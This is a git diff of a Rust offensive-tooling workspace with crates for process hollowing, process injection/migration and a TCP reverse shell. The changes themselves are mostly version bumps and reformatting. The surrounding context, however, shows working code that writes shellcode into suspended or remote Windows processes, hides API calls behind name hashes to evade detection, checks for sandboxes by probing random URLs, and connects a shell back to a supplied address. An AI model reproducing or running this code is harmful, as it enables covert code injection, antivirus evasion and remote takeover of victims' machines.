diff --git a/.custom_shields/process_hollowing.json b/.custom_shields/process_hollowing.json index 6507731..0d14e21 100644 --- a/.custom_shields/process_hollowing.json +++ b/.custom_shields/process_hollowing.json @@ -1,6 +1,6 @@ { "schemaVersion": 1, "label": "process_hollowing", - "message": "1.6.2", + "message": "1.6.3", "color": "blue" } \ No newline at end of file diff --git a/.custom_shields/process_migration.json b/.custom_shields/process_migration.json index f0c296a..8dff254 100644 --- a/.custom_shields/process_migration.json +++ b/.custom_shields/process_migration.json @@ -1,6 +1,6 @@ { "schemaVersion": 1, "label": "process_migration", - "message": "1.8.2", + "message": "1.8.3", "color": "blue" } \ No newline at end of file diff --git a/.custom_shields/tcp_reverse_shell.json b/.custom_shields/tcp_reverse_shell.json index ec35737..e0ffa1c 100644 --- a/.custom_shields/tcp_reverse_shell.json +++ b/.custom_shields/tcp_reverse_shell.json @@ -1,6 +1,6 @@ { "schemaVersion": 1, "label": "tcp_reverse_shell", - "message": "1.2.1", + "message": "1.2.2", "color": "blue" } \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock index 4ffe0ac..d610687 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -41,9 +41,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.131" +version = "0.2.132" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "04c3b4822ccebfa39c02fc03d1534441b22ead323fa0f48bb7ddd8e6ba076a40" +checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5" [[package]] name = "memoffset" diff --git a/Cargo.toml b/Cargo.toml index dddd9d7..6b07b33 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -13,3 +13,4 @@ members = [ [profile.release] lto = true strip = true +panic = "abort" diff --git a/process_hollowing/Cargo.toml b/process_hollowing/Cargo.toml index 9957304..1f2db9a 100644 --- a/process_hollowing/Cargo.toml +++ b/process_hollowing/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "process_hollowing" -version = "1.6.2" +version = "1.6.3" edition = "2021" authors = ["Kevin Conley "] rust-version = "1.59" diff --git a/process_hollowing/src/rco_process_hollowing_linux/mod.rs b/process_hollowing/src/rco_process_hollowing_linux/mod.rs index 8be513f..41be3a9 100644 --- a/process_hollowing/src/rco_process_hollowing_linux/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_linux/mod.rs @@ -1,4 +1,3 @@ -extern crate nix; use nix::sys::ptrace::{detach, getregs, traceme, write}; use nix::sys::wait::{waitpid}; use nix::unistd::{execv, fork, ForkResult}; diff --git a/process_hollowing/src/rco_process_hollowing_windows/mod.rs b/process_hollowing/src/rco_process_hollowing_windows/mod.rs index 8a8a54a..e6ebde1 100644 --- a/process_hollowing/src/rco_process_hollowing_windows/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_windows/mod.rs @@ -1,4 +1,3 @@ -extern crate windows; use std::{mem, ptr}; use std::ffi::{CString, c_void}; use windows::core::{PCSTR, PSTR}; @@ -36,7 +35,9 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html let lp_application_name: PCSTR = unsafe { mem::zeroed() }; let mut lp_command_line: PSTR = unsafe { mem::zeroed() }; - lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8; + lp_command_line.0 = CString::new(target_process) + .unwrap() + .into_raw() as *mut u8; let lp_current_directory: PCSTR = unsafe { mem::zeroed() }; let creation_result = unsafe { CreateProcessA( lp_application_name, @@ -118,20 +119,24 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) { let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap(); let lp_application_name: PCSTR = unsafe { mem::zeroed() }; let mut lp_command_line: PSTR = unsafe { mem::zeroed() }; - lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8; + lp_command_line.0 = CString::new(target_process) + .unwrap() + .into_raw() as *mut u8; let lp_current_directory: PCSTR = unsafe { mem::zeroed() }; unsafe { mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL> - (function)(lp_application_name, - lp_command_line, - ptr::null(), - ptr::null(), - false, - CREATE_SUSPENDED, - ptr::null(), - lp_current_directory, - &startup_info, - &mut process_information) + (function)( + lp_application_name, + lp_command_line, + ptr::null(), + ptr::null(), + false, + CREATE_SUSPENDED, + ptr::null(), + lp_current_directory, + &startup_info, + &mut process_information + ) }; // See line 76 @@ -150,7 +155,13 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) { let mut address_buffer = [0; POINTER_SIZE]; unsafe { mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)> - (function)(process_handle, image_base_address as *const c_void, address_buffer.as_mut_ptr() as *mut c_void, address_buffer.len(), ptr::null_mut()) + (function)( + process_handle, + image_base_address as *const c_void, + address_buffer.as_mut_ptr() as *mut c_void, + address_buffer.len(), + ptr::null_mut() + ) }; // See line 96 @@ -159,7 +170,13 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) { let pe_base_address = unsafe { ptr::read(address_buffer.as_ptr() as *const usize) }; unsafe { mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)> - (function)(process_handle, pe_base_address as *const c_void, header_buffer.as_mut_ptr() as *mut c_void, header_buffer.len(), ptr::null_mut()) + (function)( + process_handle, + pe_base_address as *const c_void, + header_buffer.as_mut_ptr() as *mut c_void, + header_buffer.len(), + ptr::null_mut() + ) }; if header_buffer[0] != 77 || header_buffer[1] != 90 { panic!("An offset looks incorrect, the DOS header magic bytes don't correspond to 'MZ'"); @@ -173,13 +190,21 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) { let entry_point_address = entry_point_rva as usize + pe_base_address; unsafe { mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)> - (function)(process_handle, entry_point_address as *const c_void, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut()) + (function)( + process_handle, + entry_point_address as *const c_void, + shellcode.as_ptr() as *const c_void, + shellcode.len(), + ptr::null_mut() + ) }; // See line 119 let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap(); unsafe { mem::transmute::<*const (), fn(HANDLE)> - (function)(process_information.hThread) + (function)( + process_information.hThread + ) }; } diff --git a/process_migration/Cargo.toml b/process_migration/Cargo.toml index dd868c1..d950d66 100644 --- a/process_migration/Cargo.toml +++ b/process_migration/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "process_migration" -version = "1.8.2" +version = "1.8.3" edition = "2021" authors = ["Kevin Conley "] rust-version = "1.59" diff --git a/process_migration/src/rco_process_migration_linux/mod.rs b/process_migration/src/rco_process_migration_linux/mod.rs index d2be353..2740cfd 100644 --- a/process_migration/src/rco_process_migration_linux/mod.rs +++ b/process_migration/src/rco_process_migration_linux/mod.rs @@ -1,4 +1,5 @@ extern crate nix; + use nix::sys::ptrace::{attach, detach, getregs, setregs, write}; use nix::sys::wait::{waitpid, WaitPidFlag}; use nix::unistd::Pid; @@ -8,14 +9,14 @@ use std::process::{self, Command}; pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // List and collect all of the PIDs of active processes let list_pids = Command::new("ls") - .arg("/proc/") - .output() - .unwrap(); + .arg("/proc/") + .output() + .unwrap(); let mut pids: Vec = String::from_utf8(list_pids.stdout) - .unwrap() - .split('\n') - .flat_map(|s| s.parse().ok()) - .collect(); + .unwrap() + .split('\n') + .flat_map(|s| s.parse().ok()) + .collect(); // Throw away anything under 100 to try to limit the chances you crash the machine pids.retain(|i| *i > 100 && *i != process::id() as i32); @@ -28,10 +29,10 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { .output() .unwrap() .stdout; - if String::from_utf8(commandline).unwrap().contains(target_process) && attach(Pid::from_raw(*pid)).is_ok() { - target_pid = *pid; - break; - }; + if String::from_utf8(commandline).unwrap().contains(target_process) && attach(Pid::from_raw(*pid)).is_ok() { + target_pid = *pid; + break; + }; } if target_pid == 0 { panic!("Could not find a {target_process} process whose memory can be manipulated"); @@ -52,7 +53,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // Copy the RIP register to a mutable variable, then increment RIP by 2 let mut point = registers.rip; registers.rip += 2; - + // Write the updated RIP back to the target process if let Err(error) = setregs(target_pid, registers) { panic!("Unable to reset {target_process} registers: {error}"); diff --git a/process_migration/src/rco_process_migration_windows/mod.rs b/process_migration/src/rco_process_migration_windows/mod.rs index 46e4b09..99282ba 100644 --- a/process_migration/src/rco_process_migration_windows/mod.rs +++ b/process_migration/src/rco_process_migration_windows/mod.rs @@ -106,7 +106,10 @@ pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) { process_entry.dwSize = mem::size_of::() as u32; while unsafe { mem::transmute::<*const (), fn(HANDLE, &mut PROCESSENTRY32) -> BOOL> - (function)(snapshot, &mut process_entry).as_bool() + (function)( + snapshot, + &mut process_entry + ).as_bool() } { let mut process_name = String::from(""); for element in process_entry.szExeFile { @@ -126,21 +129,37 @@ pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) { let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap(); let explorer_handle = unsafe { mem::transmute::<*const (), fn(PROCESS_ACCESS_RIGHTS, bool, u32) -> HANDLE> - (function)(PROCESS_ALL_ACCESS, false, pid) + (function)( + PROCESS_ALL_ACCESS, + false, + pid + ) }; // See line 72 let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap(); let base_address = unsafe { mem::transmute::<*const (), fn(HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS) -> *const c_void> - (function)(explorer_handle, ptr::null(), shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) + (function)( + explorer_handle, + ptr::null(), + shellcode.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ) }; // See line 77 let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap(); unsafe { mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)> - (function)(explorer_handle, base_address, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut()) + (function)( + explorer_handle, + base_address, + shellcode.as_ptr() as *const c_void, + shellcode.len(), + ptr::null_mut() + ) }; // See line 85 @@ -148,6 +167,14 @@ pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) { let start_address_option = unsafe { Some(mem::transmute(base_address)) }; unsafe { mem::transmute::<*const (), fn(HANDLE, *const u32, u32, Option u32>, *const u32, u32, *mut u32)> - (function)(explorer_handle, ptr::null(), 0, start_address_option, ptr::null(), 0, ptr::null_mut()) + (function)( + explorer_handle, + ptr::null(), + 0, + start_address_option, + ptr::null(), + 0, + ptr::null_mut() + ) }; } diff --git a/rco_utils/src/lib.rs b/rco_utils/src/lib.rs index b2910ff..bb8293e 100644 --- a/rco_utils/src/lib.rs +++ b/rco_utils/src/lib.rs @@ -3,8 +3,7 @@ use std::error::Error; use std::collections::hash_map::DefaultHasher; #[cfg(feature = "antistring")] use std::hash::{Hash, Hasher}; -#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] -extern crate windows; + #[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] use std::ffi::CString; #[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] @@ -13,8 +12,7 @@ use std::mem; use windows::core::PCSTR; #[cfg(all(windows, feature = "antisand", feature = "antistring"))] use core::ffi::c_void; -#[cfg(all(windows, feature = "antisand"))] -extern crate rand; + #[cfg(all(windows, feature = "antisand"))] use rand::distributions::Alphanumeric; #[cfg(all(windows, feature = "antisand"))] @@ -38,11 +36,19 @@ use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRE #[cfg(feature = "xor")] fn equalize_slice_len(slice_one: &[T], slice_two: &[T]) -> (Vec, Vec) { - if slice_one.len() > slice_two.len() { - (slice_one.to_vec(), slice_two.iter().cloned().cycle().take(slice_one.len()).collect()) - } else { - (slice_one.iter().cloned().cycle().take(slice_two.len()).collect(), slice_two.to_vec()) - } + let (longer, shorter) = match slice_one.len() > slice_two.len() { + true => (slice_one, slice_two), + false => (slice_two, slice_one), + }; + ( + longer.to_vec(), + shorter + .iter() + .cloned() + .cycle() + .take(longer.len()) + .collect() + ) } /* @@ -55,9 +61,9 @@ fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result, Box bool { lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8; let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, &[], 0, 0) }; if website != 0 as _ { - return true + return true; } false } @@ -132,9 +138,9 @@ pub fn pound_sand() -> bool { lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8; let lpsz_proxy: PCSTR = unsafe { mem::zeroed() }; let lpsz_proxy_bypass: PCSTR = unsafe { mem::zeroed() }; - let internet_handle = unsafe { + let internet_handle = unsafe { mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void> - (function)(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) + (function)(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) }; let length = rand::thread_rng().gen_range(20..40); @@ -152,12 +158,12 @@ pub fn pound_sand() -> bool { let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap(); let mut lpsz_url: PCSTR = unsafe { mem::zeroed() }; lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8; - let website = unsafe { + let website = unsafe { mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void> - (function)(internet_handle, lpsz_url, &[], 0, 0) + (function)(internet_handle, lpsz_url, &[], 0, 0) }; if website != 0 as _ { - return true + return true; } false } @@ -211,7 +217,7 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box // Calculate the address of the image headers let image_headers: *const IMAGE_NT_HEADERS64 = unsafe { (library_base_usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64 }; - + // Get the relative virtual address of the export directory let export_directory_rva = unsafe { (*image_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT.0 as usize].VirtualAddress }; // Use the RVA to get the real address of the export directory @@ -230,13 +236,13 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box // Find the location of the next function name's RVA let function_name_rva_address: *const usize = (names_address + into_names) as *const usize; - + // Read the RVA from its location let function_name_rva: u32 = unsafe { ptr::read(function_name_rva_address) as u32 }; - + // Calculate the function name's real address let function_name_address: *const i8 = (library_base_usize + function_name_rva as usize) as *const i8; - + // Read the function name from its address let function_name = unsafe { CStr::from_ptr(function_name_address).to_string_lossy() }; @@ -249,7 +255,7 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box let ordinals_offset_address: *const usize = (ordinals_address + (into_names / 2_usize)) as *const usize; // Read the RVA from its location - let ordinal_offset: u16 = unsafe { ptr::read(ordinals_offset_address) as u16}; + let ordinal_offset: u16 = unsafe { ptr::read(ordinals_offset_address) as u16 }; // Find the location of the function address in the address array by using the ordinal offset let into_functions = mem::size_of::() * (ordinal_offset as usize); @@ -258,12 +264,12 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box let function_address_rva_address: *const usize = (functions_address + into_functions) as *const usize; // Read the function address's location from memory - let function_address_rva: u32 = unsafe { ptr::read(function_address_rva_address) as u32}; + let function_address_rva: u32 = unsafe { ptr::read(function_address_rva_address) as u32 }; // Calculate the function's real address let function_address: *const () = (library_base_usize + function_address_rva as usize) as *const (); - - return Ok(function_address) + + return Ok(function_address); } } Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into()) diff --git a/tcp_reverse_shell/Cargo.toml b/tcp_reverse_shell/Cargo.toml index 229c054..064f3f7 100644 --- a/tcp_reverse_shell/Cargo.toml +++ b/tcp_reverse_shell/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "tcp_reverse_shell" -version = "1.2.1" +version = "1.2.2" edition = "2021" authors = ["Kevin Conley "] rust-version = "1.59" diff --git a/tcp_reverse_shell/src/rco_reverse_shell_linux/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_linux/mod.rs index cf32042..d46b7dc 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_linux/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_linux/mod.rs @@ -3,7 +3,7 @@ use std::os::unix::io::{AsRawFd, FromRawFd}; use std::process::{Command, Stdio}; pub fn shell(ip: &str, port: u16) { - let ip_port = format!("{}:{}", ip, port); + let ip_port = format!("{ip}:{port}"); // Make a TCP stream connection let stream = TcpStream::connect(ip_port).unwrap(); diff --git a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs index 53e8379..fa49433 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs @@ -1,4 +1,3 @@ -extern crate windows; use std::{mem, ptr}; use std::ffi::{CStr, CString, c_void}; use windows::core::{PCSTR, PSTR};